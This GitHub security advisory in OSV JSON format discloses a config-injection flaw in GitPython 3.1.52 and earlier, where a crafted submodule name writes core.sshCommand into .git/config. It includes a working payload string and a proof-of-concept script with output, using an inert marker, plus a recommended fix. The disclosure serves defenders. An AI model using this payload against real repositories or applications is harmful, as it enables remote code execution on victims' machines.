GHSA-3rp5-jjmw-4wv2: GitPython Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3rp5-jjmw-4wv2",
  "modified" : "2026-07-24T16:22:02Z",
  "published" : "2026-07-24T16:22:02Z",
  "aliases" : [ ],
  "summary" : "GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)",
  "details" : "### Summary\n\nIn GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ \"` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**.\n\nThis is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\\n\\x00]` guard added for them does not stop a **same-line** section break inside a name.\n\n### Details\n\nThe only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:\n\n`git/config.py:75,897-899` (`GitPython 3.1.52`):\n\n```python\nUNSAFE_CONFIG_CHARS_RE = re.compile(r\"[\\r\\n\\x00]\")\n...\ndef _assure_config_name_safe(self, name: \"cp._SectionName\", label: str) -> None:\n    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n        raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \"<name>\"` (`git/objects/submodule/util.py:39`, `return f'submodule \"{name}\"'`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:\n\n- `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` — a single call, no hostile remote required.\n- `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.\n\nAsymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version('GitPython')}\")        # version proof -- first line\n\nMARKER = \"MARKER_9f3a\"                               # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n       \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n       \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n       \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n    p = tempfile.mkdtemp(dir=tmp)\n    run(\"git\", \"init\", \"-q\", p)\n    open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n    run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n    return p\n\ndef injected_sshcommand(parent):\n    r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n            \"--get\", \"core.sshCommand\")\n    return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil   = f'x\"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n          if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\"  git core.sshCommand ->\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\"  written header      ->\", header)\nprint(\"  git core.sshCommand ->\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n      f\"into the victim's trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : 'docs'\n  git core.sshCommand -> (1, '') (unset)\nexploit name : 'x\"] [core] sshCommand=MARKER_9f3a #'\n  written header      -> [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n  git core.sshCommand -> (0, 'MARKER_9f3a')\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \"<name>\"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/<name>` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).\n\n### Recommended fix\n\nReject or escape configuration section/subsection/option **names** that contain `]`, `[`, `\"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "gitpython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.53"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.52"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gitpython-developers/GitPython"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T16:22:02Z",
    "nvd_published_at" : null
  }
}